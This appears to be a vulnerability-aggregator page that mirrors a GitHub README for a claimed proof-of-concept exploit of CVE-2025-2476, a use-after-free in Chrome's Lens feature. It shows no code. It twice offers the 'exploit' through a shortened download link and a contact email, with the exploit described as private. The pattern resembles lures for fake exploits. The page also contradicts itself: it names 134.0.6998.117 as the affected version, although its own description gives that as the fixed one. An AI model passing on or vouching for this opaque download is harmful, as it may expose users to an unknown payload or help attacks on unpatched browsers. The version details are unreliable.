CVE-2025-2476 PoC — Google Chrome 资源管理错误漏洞

Source

https://github.com/McTavishSue/CVE-2025-2476

Associated Vulnerability

Title: Google Chrome 资源管理错误漏洞 (CVE-2025-2476)
Description:Use after free in Lens in Google Chrome prior to 134.0.6998.117 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Critical)

Description

Use After Free (CWE-416)

Readme

# CVE-2025-2476 Use After Free (CWE-416)
## Overview
A use-after-free vulnerability in the Lens feature of Google Chrome that could allow a remote attacker to exploit heap corruption through a crafted HTML page. The vulnerability affects Chrome versions prior to 134.0.6998.117.
### Exploit:
### [Download here](https://tinyurl.com/bdzsueen)
### Details
+ **CVE ID**: CVE-2025-2476

+ **Published**: 03/19/2025

+ **Impact**: Critical
+ **Exploit Availability**: Not public, only private.
+ **CVSS**: 8.8
## Impact
An attacker could potentially: - Execute arbitrary code on the target system - Cause heap corruption - Compromise the confidentiality, integrity, and availability of the affected Chrome browser The vulnerability can be triggered by a user visiting a maliciously crafted HTML page, making it a significant risk for widespread exploitation
### Affected Versions
Google Chrome version 134.0.6998.117
### Contact
+ **For inquiries, please contact:LeronTavish@outlook.com**
+ **Exploit** :[Download here](https://tinyurl.com/bdzsueen)

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →